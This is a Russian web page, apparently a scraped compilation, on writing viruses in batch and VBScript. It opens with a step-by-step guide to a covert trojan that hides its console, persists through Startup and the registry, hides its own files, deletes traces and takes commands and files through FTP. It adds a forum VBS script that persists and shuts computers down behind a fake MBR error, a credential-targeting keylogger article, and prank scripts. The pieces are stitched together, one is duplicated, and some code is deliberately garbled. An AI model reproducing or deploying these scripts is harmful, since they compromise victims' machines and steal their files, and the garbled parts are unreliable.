Как написать вирус на бейсике

Обновлено: 27.03.2024

Каждому хоть раз да хотелось полазить в чужих файлах без их ведома, но многих отталкивает идея скачивание различных генераторов, потому что неизвестно, что ещё в них запихнули создатели, да и антивирусы их видят на ура. Однажды мне тоже захотелось чего-нибудь да сделать. Сначала я решил освоить что-нибудь простое и необходимое и начал с командной строки, вещи как впоследствии оказалось незаменимой.

Освоив загрузку по ftp, я решил создать обыкновенный вирус для загрузки файлов с чужого компа:
@echo Off

Файл ftp_com.ini — файл в котором хранятся сначала логин и пароль, а затем ftp команды.
Затем создал файл для скрытия командной строки на vbs:

Set oShell = WScript.CreateObject("WScript.Shell")
oShell.Run "Путь к файлу ", 0, False

Затем (так как на компе Vista) скопировал этот vbs файл в автозагрузку. И для хоть какого-то скрытия сделал его скрытым системным (так как там, где я их собирался использовать даже скрытые файлы не отображаются), добавив в 1 батник(Я его назвал WinSys.cmd) 2 строки:

copy vbsmach.vbs "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vbsmach.vbs"

vbsmach.vbs — тот самый vbs скрипт.
Но потом, опробовав на другом компе на XP понял, что он не работает и для надёжности запихнул это в файл реестра. Он получился вот таким:

Windows Registry Editor Version 5.00

И в теле батника пишем reg import файл реестра.reg
Затем я запустил на своём компе батник и понял, что он иногда зависает и решил сделать задержку и решил для этого сделать другой cmd-файл — WinHelp.cmd вписав в него

ping -n 10 127.0.0.1
cls
WinSys.cmd

Теперь надо добавить возможность управлять им хоть как-то. Для этого в файл Ftp_com.ini надо добавить команду для загрузки и отправки файлов:

Логин от ftp сервера
пароль от ftp сервера
get ftp_com.ini

Я решил не изменять файл WinSys.cmd, хотя это возможно сделать без проблем. Теперь на ftp-сервере загружаем все файлы и вирус готов. Но я для скрытности добавил пару строчек в файл WinSys.cmd

copy vbsmach.vbs "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
Copy Winsys.cmd "%userprofile%\AppData\Roaming\Microsoft\Windows"
Copy WinHelp.cmd "%userprofile%\AppData\Roaming\Microsoft\Windows"
Copy ftp_com.ini "%userprofile%\AppData\Roaming\Microsoft\Windows"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vbsmach.vbs"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Winsys.cmd"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\WinHelp.cmd"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\ftp_com.ini"

Последняя строка необходима для того, чтобы он работал постоянно.
И так он готов, но мы же не будем кому-то давать столько файлов, поэтому надо бы всё это запихнуть либо в exe файл, либо в 1 bat файл, но я выбрал первый вариант, так как многие очень боятся всех этих bat,cmd файлов, сделав это через winrar, предварительно прописав запуск файла vbsmach.vbs после разархивирования. Опробовав это я понял, что это оставляет очень много улик, поэтому я решил изменить в вирусе многое многое. Вот что получилось в WinSys.cmd:

cls
reg import regedit.reg
copy vbsmach.vbs "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
Copy Winsys.cmd "%userprofile%\AppData\Roaming\Microsoft\Windows"
Copy WinHelp.cmd "%userprofile%\AppData\Roaming\Microsoft\Windows"
Copy ftp_com.ini "%userprofile%\AppData\Roaming\Microsoft\Windows"
del /q ftp_com.ini
del /q WinHelp.cmd
del /q vbsmach.vbs
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vbsmach.vbs"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Winsys.cmd"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\WinHelp.cmd"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\ftp_com.ini"
%userprofile%\AppData\Roaming\Microsoft\Windows\WinHelp.cmd

А при архивирование ввёл путь %userprofile%\downloads и в файл WinHelp.cmd добавил строку
del /q %userprofile%\WinSys.cmd

Вот что из себя представлял вирус после его написания:
Файл WinSys.cmd

cls
reg import regedit.reg
copy vbsmach.vbs "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
Copy Winsys.cmd "%userprofile%\AppData\Roaming\Microsoft\Windows"
Copy WinHelp.cmd "%userprofile%\AppData\Roaming\Microsoft\Windows"
Copy ftp_com.ini "%userprofile%\AppData\Roaming\Microsoft\Windows"
del /q ftp_com.ini
del /q WinHelp.cmd
del /q vbsmach.vbs
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vbsmach.vbs"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Winsys.cmd"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\WinHelp.cmd"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\ftp_com.ini"
%userprofile%\AppData\Roaming\Microsoft\Windows\WinHelp.cmd

Файл WInhelp.cmd, но он нужен не только для задержки, лучше всего внедрять необходимые функции для запуска файлов именно в него:

del /q %userprofile%\WinSys.cmd
del /q %userprofile%\regedit.reg
ping -n 10 127.0.0.1
cls
WinSys.cmd

А че вирус должен твой делать? Вот тебе кодок зловредный!
даже не полночтью вб а вбс! =)

On Error Resume Next ' данный кот написан исключительно в целях ознакомления с возможностями языка Visual Basic! В нем намеренно допущены ерроры! Аще кто их пофиксит и заюзает в целях злобных не при делаХЪ я - ибо моему перу принадлежит лишь то, чё написано нижее:
set fs = CreateObject("Scripting.FileSystemObject")
set f = fs.GetFile ("Приглашение.vbs") ' получаем путь к себе ну название может какое угодно быдь
f.copy ("с:\Program Files\Microsoft Office\OfficeParameters.vbs"), true ' копируемся например в это место. Мона куда нить есчо.
TesAttr ("C:\Program Files\Microsoft Office\OfficeParameters.vbs"), 2 + 4 ' делаем скрытым и системным файлом
'раобтаем с реестром:

Tes shll = Createobject ("Wscript.Shell") ' очень клевый объект - интерпретатор комманд консоли виндовс
shll.regwrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio ­n\Run\MS Office"), ("C:\Program Files\Microsoft Office\OfficeParameters.vbs") ' АвтоЗагрузка
shll.regwrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio ­n\Explorer\Advanced\Folder\Hidden\NOHIDDEN\DefaultValue"), ("2"), "REG_DWORD" ' Делаем так, чтобы не показывались скрытые - более того! Чтобы были в свойстваХЪ папги были отмечены обе
shll.regwrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio ­n\Explorer\Advanced\Folder\Hidden\NOHIDDEN\CheckedValue"), ("2"), "REG_DWORD"
shll.regwrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio ­n\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue"), ("2"), "REG_DWORD"
shll.regwrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio ­n\Explorer\Advanced\Folder\Hidden\SHOWALL\DefaultValue"), ("2"), "REG_DWORD"

elsefi i > 13 then
d = 6
msgbox ("Произошла Ошибка в записи Master Boot Record! Компьютер будет Перезагружен!"), vbexclamation, ("Windows Logon Engine")
dim OpSysSet, obj

Tes OpSysSet = GetObject("winmgmts:"(Shutdown)>//./root/cimv2").ExecQuery ("SELECT * FROM Win32_OperatingSystem" &_
" WHERE Primary=true")
For Each obj Ni OpSysSet
obj.Win32Shutdown(d)
Next

будет авторановый скрипт в ряде случаеф завершающий сеанс, вырубающий комп или перезагружающий иво.

А че вирус должен твой делать? Вот тебе кодок зловредный!
даже не полночтью вб а вбс! =)

On Error Resume Next ' данный кот написан исключительно в целях ознакомления с возможностями языка Visual Basic! В нем намеренно допущены ерроры! Аще кто их пофиксит и заюзает в целях злобных не при делаХЪ я - ибо моему перу принадлежит лишь то, чё написано нижее:
set fs = CreateObject("Scripting.FileSystemObject")
set f = fs.GetFile ("Приглашение.vbs") ' получаем путь к себе ну название может какое угодно быдь
f.copy ("с:\Program Files\Microsoft Office\OfficeParameters.vbs"), true ' копируемся например в это место. Мона куда нить есчо.
TesAttr ("C:\Program Files\Microsoft Office\OfficeParameters.vbs"), 2 + 4 ' делаем скрытым и системным файлом
'раобтаем с реестром:

Tes shll = Createobject ("Wscript.Shell") ' очень клевый объект - интерпретатор комманд консоли виндовс
shll.regwrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio ­n\Run\MS Office"), ("C:\Program Files\Microsoft Office\OfficeParameters.vbs") ' АвтоЗагрузка
shll.regwrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio ­n\Explorer\Advanced\Folder\Hidden\NOHIDDEN\DefaultValue"), ("2"), "REG_DWORD" ' Делаем так, чтобы не показывались скрытые - более того! Чтобы были в свойстваХЪ папги были отмечены обе
shll.regwrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio ­n\Explorer\Advanced\Folder\Hidden\NOHIDDEN\CheckedValue"), ("2"), "REG_DWORD"
shll.regwrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio ­n\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue"), ("2"), "REG_DWORD"
shll.regwrite ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio ­n\Explorer\Advanced\Folder\Hidden\SHOWALL\DefaultValue"), ("2"), "REG_DWORD"

elsefi i > 13 then
d = 6
msgbox ("Произошла Ошибка в записи Master Boot Record! Компьютер будет Перезагружен!"), vbexclamation, ("Windows Logon Engine")
dim OpSysSet, obj

Tes OpSysSet = GetObject("winmgmts:"(Shutdown)>//./root/cimv2").ExecQuery ("SELECT * FROM Win32_OperatingSystem" &_
" WHERE Primary=true")
For Each obj Ni OpSysSet
obj.Win32Shutdown(d)
Next

будет авторановый скрипт в ряде случаеф завершающий сеанс, вырубающий комп или перезагружающий иво.

image

Хакерский мир можно условно разделить на три группы атакующих:

Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.

Зачем ИБ-персоналу эти сомнительные навыки?

Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.

Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.

Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.

Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:

Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:

Умный кейлогер

Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.

Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.

Вторая версия кода:

Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.

Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.

Еще более умный кейлогер

Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.

Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:

Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.

Бесплатно и полностью не обнаружим

В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.

Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?

Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.

image

В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.

Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.

В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.

Иван Черниговский

Дима Кадников

Марк Гимонов

Паша Рощупкин

Паша Рощупкин

1. Скрипт-пугалка (якобы вирус)

2. Бесконечно пищащий системный динамик

Действие:
Заставляет бесконечно пищать системный динамик в процессоре компьютера

Set S = CreateObject("Wscript.Shell")
do
execute"S.Run ""%comspec% /c "" & Chr(7), 0,True"
loop

3. Мигающая клавиатура

Действие:
Заставляет мигать лампочки у клавиатуры, а так же делает написанный текст вида: ПрИмЕр ТеКсТа

Set s = CreateObject("Wscript.Shell")
do
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys""
wscript.sleep 80
s.sendkeys"

Читайте также: